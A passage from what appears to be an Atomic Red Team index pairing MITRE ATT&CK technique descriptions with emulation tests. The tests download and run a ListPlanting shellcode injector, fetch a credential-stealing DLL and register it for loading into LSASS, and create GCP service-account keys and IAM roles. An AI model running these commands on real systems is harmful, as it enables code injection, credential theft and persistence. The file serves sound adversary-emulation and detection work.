        description: 'odzhan. (2019, April 25). Windows Process Injection: WordWarping,
          Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline.
          Retrieved November 15, 2021.'
      - source_name: ESET InvisiMole June 2020
        url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
        description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE
          HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Process Injection: ListPlanting'
      description: "Adversaries may abuse list-view controls to inject malicious code
        into hijacked processes in order to evade process-based defenses as well as
        possibly elevate privileges. ListPlanting is a method of executing arbitrary
        code in the address space of a separate live process. Code executed via ListPlanting
        may also evade detection from security products since the execution is masked
        under a legitimate process.\n\nList-view controls are user interface windows
        used to display collections of items.(Citation: Microsoft List View Controls)
        Information about an application's list-view settings are stored within the
        process' memory in a <code>SysListView32</code> control.\n\nListPlanting (a
        form of message-passing \"shatter attack\") may be performed by copying code
        into the virtual address space of a process that uses a list-view control
        then using that code as a custom callback for sorting the listed items.(Citation:
        Modexp Windows Process Injection) Adversaries must first copy code into the
        target process’ memory space, which can be performed various ways including
        by directly obtaining a handle to the <code>SysListView32</code> child of
        the victim process window (via Windows API calls such as <code>FindWindow</code>
        and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055)
        methods.\n\nSome variations of ListPlanting may allocate memory in the target
        process but then use window messages to copy the payload, to avoid the use
        of the highly monitored <code>WriteProcessMemory</code> function. For example,
        an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code>
        API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code>
        messages, effectively copying a payload 2 bytes at a time to the allocated
        memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered
        by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code>
        child of the process window, with the payload within the newly allocated buffer
        passed and executed as the <code>ListView_SortItems</code> callback."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>FindWindow</code>, <code>FindWindowEx</code>, <code>EnumWindows</code>,
        <code>EnumChildWindows</code>, and those that can be used to modify memory
        within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be abused for this technique. \n\nConsider monitoring for excessive use
        of <code>SendMessage</code> and/or <code>PostMessage</code> API functions
        with <code>LVM_SETITEMPOSITION</code> and/or <code>LVM_GETITEMPOSITION</code>
        arguments.\n\nAnalyze process behavior to determine if a process is performing
        unusual actions, such as opening network connections, reading files, or other
        suspicious actions that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Modification'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1055.015
    atomic_tests:
    - name: Process injection ListPlanting
      auto_generated_guid: 4f3c7502-b111-4dfe-8a6e-529307891a59
      description: This test injects shellcode into a remote RegEdit process using
        the ListPlanting technique. ListPlanting exploits Window with ListView control.
        Code write to memory with NtWriteVirtualMemory. The shellcode is executed
        via PostMessage. When successful, a message box will appear with the title
        "Warning" and the content "Atomic Red Team" after a few seconds. Notepad will
        open following the appearance of the message box.
      supported_platforms:
      - windows
      input_arguments:
        exe_binary:
          description: PE binary
          type: path
          default: PathToAtomicsFolder\T1055.015\bin\ListPlanting.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Injector ListPlanting.exe must exist at specified location (#{exe_binary})

          '
        prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.015/bin/ListPlanting.exe" -OutFile "#{exe_binary}"
      executor:
        command: |-
          Start-Process "#{exe_binary}"
          Start-Sleep -Seconds 7
          Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
        cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue |
          Stop-Process -Force
        name: powershell
        elevation_required: true
  T1484:
    technique:
      modified: '2024-04-19T04:27:31.884Z'
      name: Domain or Tenant Policy Modification
      description: "Adversaries may modify the configuration settings of a domain
        or identity tenant to evade defenses and/or escalate privileges in centrally
        managed environments. Such services provide a centralized means of managing
        identity resources such as devices and accounts, and often include configuration
        settings that may apply between domains or tenants such as trust relationships,
        identity syncing, or identity federation.\n\nModifications to domain or tenant
        settings may include altering domain Group Policy Objects (GPOs) in Microsoft
        Active Directory (AD) or changing trust settings for domains, including federation
        trusts relationships between domains or tenants.\n\nWith sufficient permissions,
        adversaries can modify domain or tenant policy settings. Since configuration
        settings for these services apply to a large number of identity resources,
        there are a great number of potential attacks malicious outcomes that can
        stem from this abuse. Examples of such abuse include:  \n\n* modifying GPOs
        to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)
        to computers throughout the domain environment(Citation: ADSecurity GPO Persistence
        2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\n*
        modifying domain trusts to include an adversary-controlled domain, allowing
        adversaries to  forge access tokens that will subsequently be accepted by
        victim domain resources(Citation: Microsoft - Customer Guidance on Recent
        Nation-State Cyber Attacks)\n* changing configuration settings within the
        AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n*
        adding new, adversary-controlled federated identity providers to identity
        tenants, allowing adversaries to authenticate as any user managed by the victim
        tenant (Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may
        temporarily modify domain or tenant policy, carry out a malicious action(s),
        and then revert the change to remove suspicious indicators."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Obsidian Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)

        Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Azure AD
      - SaaS
      x_mitre_version: '3.0'
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Deletion'
      - 'Active Directory: Active Directory Object Creation'
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Modification'
      - 'Application Log: Application Log Content'
      x_mitre_defense_bypassed:
      - System access controls
      - File system access controls
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d
      created: '2019-03-07T14:10:32.650Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1484
        external_id: T1484
      - source_name: CISA SolarWinds Cloud Detection
        description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
          in Microsoft Cloud Environments. Retrieved January 8, 2021.
        url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
      - source_name: ADSecurity GPO Persistence 2016
        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
          #17: Group Policy. Retrieved March 5, 2019.'
        url: https://adsecurity.org/?p=2716
      - source_name: Microsoft 365 Defender Solorigate
        description: Microsoft 365 Defender Team. (2020, December 28). Using Microsoft
          365 Defender to protect against Solorigate. Retrieved January 7, 2021.
        url: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
      - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
        description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
          December 30, 2020.
        url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
      - source_name: Microsoft - Update or Repair Federated domain
        description: Microsoft. (2020, September 14). Update or repair the settings
          of a federated domain in Office 365, Azure, or Intune. Retrieved December
          30, 2020.
        url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
      - source_name: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks
        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
          Cyber Attacks. Retrieved December 30, 2020.
        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
      - source_name: Okta Cross-Tenant Impersonation 2023
        description: 'Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant
          Impersonation: Prevention and Detection. Retrieved February 15, 2024.'
        url: https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
      - source_name: Wald0 Guide to GPOs
        description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
          OUs. Retrieved March 5, 2019.
        url: https://wald0.com/?p=179
      - source_name: Harmj0y Abusing GPO Permissions
        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
          March 5, 2019.
        url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
      - source_name: Sygnia Golden SAML
        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
          Attack. Retrieved January 6, 2021.
        url: https://www.sygnia.co/golden-saml-advisory
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1547.008:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Vincent Le Toux
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4
      created: '2020-01-24T18:38:55.801Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1547.008
        url: https://attack.mitre.org/techniques/T1547/008
      - source_name: Microsoft LSA Protection Mar 2014
        url: https://technet.microsoft.com/library/dn408187.aspx
        description: Microsoft. (2014, March 12). Configuring Additional LSA Protection.
          Retrieved November 27, 2017.
      - source_name: Microsoft DLL Security
        url: https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
        description: Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November
          27, 2017.
      - source_name: Microsoft Security Subsystem
        url: https://technet.microsoft.com/library/cc961760.aspx
        description: Microsoft. (n.d.). Security Subsystem Architecture. Retrieved
          November 27, 2017.
      - source_name: TechNet Autoruns
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)

        Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Boot or Logon Autostart Execution: LSASS Driver'
      x_mitre_detection: "With LSA Protection enabled, monitor the event logs (Events
        3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation:
        Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe.
        (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc
        utility (Citation: TechNet Autoruns) to examine loaded drivers associated
        with the LSA. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'File: File Creation'
      - 'Driver: Driver Load'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.008
    atomic_tests:
    - name: Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt
      auto_generated_guid: 8ecef16d-d289-46b4-917b-0dba6dc81cf1
      description: "The following Atomic will modify an undocumented registry key
        that may be abused to load a arbitrary DLL into LSASS. \n\nUpon execution,
        the registry key will be modified and a value will contain the path to the
        DLL. \nReference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source
        https://github.com/oxfemale/LogonCredentialsSteal\nNote that if any LSA based
        protection is enabled, this will most likely not be successful with LSASS.exe
        loading the DLL.\n"
      supported_platforms:
      - windows
      input_arguments:
        dll_path:
          description: Module to be loaded into LSASS
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\lsass_lib.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'lsass_lib.dll must exist on disk at specified location (#{dll_path})

          '
        prereq_command: 'if (Test-Path "#{dll_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll" -UseBasicParsing -OutFile "#{dll_path}"
      executor:
        command: 'New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS
          -Name LsaDbExtPt -Value "#{dll_path}"

          '
        cleanup_command: 'Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS"
          -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null

          '
        name: powershell
        elevation_required: true
  T1078.004:
    technique:
      modified: '2024-03-29T15:42:13.499Z'
      name: 'Valid Accounts: Cloud Accounts'
      description: "Valid accounts in cloud environments may allow adversaries to
        perform actions to achieve Initial Access, Persistence, Privilege Escalation,
        or Defense Evasion. Cloud accounts are those created and configured by an
        organization for use by users, remote support, services, or for administration
        of resources within a cloud service provider or SaaS application. Cloud Accounts
        can exist solely in the cloud; alternatively, they may be hybrid-joined between
        on-premises systems and the cloud through syncing or federation with other
        identity sources such as Windows Active Directory. (Citation: AWS Identity
        Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying
        AD Federation)\n\nService or user accounts may be targeted by adversaries
        through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566),
        or various other means to gain access to the environment. Federated or synced
        accounts may be a pathway for the adversary to affect both on-premises systems
        and cloud environments - for example, by leveraging shared credentials to
        log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High
        privileged cloud accounts, whether federated, synced, or cloud-only, may also
        allow pivoting to on-premises environments by leveraging SaaS-based [Software
        Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands
        on hybrid-joined devices.\n\nAn adversary may create long lasting [Additional
        Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised
        cloud account to maintain persistence in the environment. Such credentials
        may also be used to bypass security controls such as multi-factor authentication.
        \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)
        or other privileges through various means within the environment. Misconfigurations
        in role assignments or role assumption policies may allow an adversary to
        use these mechanisms to leverage permissions outside the intended scope of
        the account. Such over privileged accounts may be used to harvest sensitive
        data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009)
        or other methods. \n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Jon Sternstein, Stern Security
      x_mitre_deprecated: false
      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
        or malicious behavior, such as accessing information outside of the normal
        function of the account or account usage at atypical hours.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      x_mitre_version: '1.7'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Metadata'
      - 'Logon Session: Logon Session Creation'
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
      created: '2020-03-13T20:36:57.378Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/004
        external_id: T1078.004
      - source_name: AWS Identity Federation
        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
          2020.
        url: https://aws.amazon.com/identity/federation/
      - source_name: Google Federating GC
        description: Google. (n.d.). Federating Google Cloud with Active Directory.
          Retrieved March 13, 2020.
        url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
      - source_name: Microsoft Deploying AD Federation
        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
          in Azure. Retrieved March 13, 2020.
        url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1078.004
    atomic_tests:
    - name: Creating GCP Service Account and Service Account Key
      auto_generated_guid: 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e
      description: 'GCP Service Accounts can be used to gain intial access as well
        as maintain persistence inside Google Cloud.

        '
      supported_platforms:
      - google-workspace
      - iaas:gcp
      input_arguments:
        project-id:
          description: ID of the project, you want to create service account as well
            as service account key for
          type: string
          default: art-project-1
        service-account-name:
          description: Name of the service account
          type: string
          default: gcp-art-service-account-1
        service-account-email:
          description: Email of the service account
          type: string
          default: gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com
        output-key-file:
          description: Email of the service account
          type: string
          default: gcp-art-service-account-1.json
      executor:
        name: sh
        elevation_required: false
        command: |
          gcloud config set project #{project-id}
          gcloud iam service-accounts create #{service-account-name}
          gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}
        cleanup_command: 'gcloud iam service-accounts delete #{service-account-email}
          --quiet

          '
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires gcloud

          '
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

          '
      - description: "Check if user is logged in \n"
        prereq_command: 'gcloud config get-value account

          '
        get_prereq_command: 'gcloud auth login --no-launch-browser

          '
    - name: Azure Persistence Automation Runbook Created or Modified
      auto_generated_guid: 348f4d14-4bd3-4f6b-bd8a-61237f78b3ac
      description: |
        Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure
        Automation runbook to execute malicious code and maintain persistence in their target's environment.
      supported_platforms:
      - iaas:azure
      input_arguments:
        username:
          description: Azure username
          type: string
          default: 
        password:
          description: Azure password
          type: string
          default: 
        resource_group:
          description: Name of the resource group
          type: string
          default: 
        runbook_name:
          description: Name of the runbook name
          type: string
          default: 
        automation_account_name:
          description: Name of the automation account name
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if terraform is installed.

          '
        prereq_command: 'terraform version

          '
        get_prereq_command: 'echo Please install terraform.

          '
      - description: 'Install-Module -Name Az

          '
        prereq_command: 'try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name Az -Scope CurrentUser -Force

          '
      - description: 'Check if the user is logged into Azure.

          '
        prereq_command: 'az account show

          '
        get_prereq_command: "echo Configure your Azure account using: az login. \n"
      - description: 'Create dependency resources using terraform

          '
        prereq_command: 'try {if (Test-Path "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/terraform.tfstate"
          ){ exit 0 } else {exit 1}} catch {exit 1}

          '
        get_prereq_command: |
          cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/"
          terraform init
          terraform apply -auto-approve
      executor:
        command: |
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-AzAccount -Credential $creds
          New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name}
        name: powershell
        elevation_required: false
        cleanup_command: |
          Remove-AzAutomationRunbook -AutomationAccountName #{automation_account_name} -Name #{runbook_name} -ResourceGroupName #{resource_group} -Force
          cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/"
          terraform destroy -auto-approve
    - name: GCP - Create Custom IAM Role
      auto_generated_guid: 3a159042-69e6-4398-9a69-3308a4841c85
      description: "This atomic will create a new IAM role. The default role permissions
        are: *IAM Service Account Get*. The idea for this Atomic came from a Rule
        published by the Elastic team.\n\nIdentifies an Identity and Access Management
        (IAM) custom role creation in Google Cloud Platform (GCP). \nCustom roles
        are user-defined, and allow for the bundling of one or more supported permissions
        to meet specific needs. \nCustom roles will not be updated automatically and
        could lead to privilege creep if not carefully scrutinized.\n\nThis atomic
        will create a new IAM role. The default role permissions are: *IAM Service
        Account Get*\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml\n"
      supported_platforms:
      - iaas:gcp
      input_arguments:
        project-id:
          description: ID of the GCP Project you to execute the command against.
          type: string
          default: atomic-test-1
        role-name:
          description: The name of the role to be created.
          type: string
          default: AtomicRedTeamRole
        role-description:
          description: The description of the role to be created.
          type: string
          default: Atomic Red Team Custom IAM Role
        roles:
          description: List of roles to be applied
          type: string
          default: iam.serviceAccounts.get
      executor:
        name: sh
        elevation_required: false
        command: |
          gcloud config set project #{project-id}
          gcloud iam roles create #{role-name} --description="#{role-description}" --permissions=#{roles} --project=#{project-id}
        cleanup_command: 'gcloud iam roles delete #{role-name} --project=#{project-id}

          '
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires gcloud

          '
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

          '
      - description: "Check if user is logged in \n"
        prereq_command: 'gcloud config get-value account

          '
        get_prereq_command: 'gcloud auth login --no-launch-browser

          '
  T1053.002:
    technique:
      modified: '2023-11-15T14:38:10.876Z'
      name: 'Scheduled Task/Job: At'
      description: |-
        Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.

        On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)

        Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).

        In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor process execution from the svchost.exe in Windows
        10 and the Windows Task Scheduler taskeng.exe for older versions of Windows.
        (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used
        for persistence, then the adversary is likely to remove the task when the
        action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks
        for change entries related to scheduled tasks that do not correlate with known
        software, patch cycles, etc.\n\nConfigure event logging for scheduled task
        creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\"
        setting within the event logging service. (Citation: TechNet Forum Scheduled
        Task Operational Setting) Several events will then be logged on scheduled
        task activity, including: (Citation: TechNet Scheduled Task Events)(Citation:
        Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server
        2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008
        R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID
        141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled
        task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task
        created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n*
        Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools
        such as Sysinternals Autoruns may also be used to detect system changes that
        could be attempts at persistence, including listing current scheduled tasks.
        (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features
        may interact directly with the Windows API to perform these functions outside
        of typical system utilities. Tasks may also be created through Windows system
        management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional
        logging may need to be configured to gather the appropriate data.\n\nIn Linux
        and macOS environments, monitor scheduled task creation using command-line
        invocation. Legitimate scheduled tasks may be created during installation
        of new software or through system administration functions. Look for changes
        to tasks that do not correlate with known software, patch cycles, etc. \n\nReview
        all jobs using the <code>atq</code> command and ensure IP addresses stored
        in the <code>SSH_CONNECTION</code> and <code>SSH_CLIENT</code> variables,
        machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110)
        jobs are stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland
        linux at 2019)\n\nSuspicious program execution through scheduled tasks may
        show up as outlier processes that have not been seen before when compared
        against historical data. Data and events should not be viewed in isolation,
        but as part of a chain of behavior that could lead to other activities, such
        as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011),
        learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007),
        and [Lateral Movement](https://attack.mitre.org/tactics/TA0008)."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Process: Process Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0
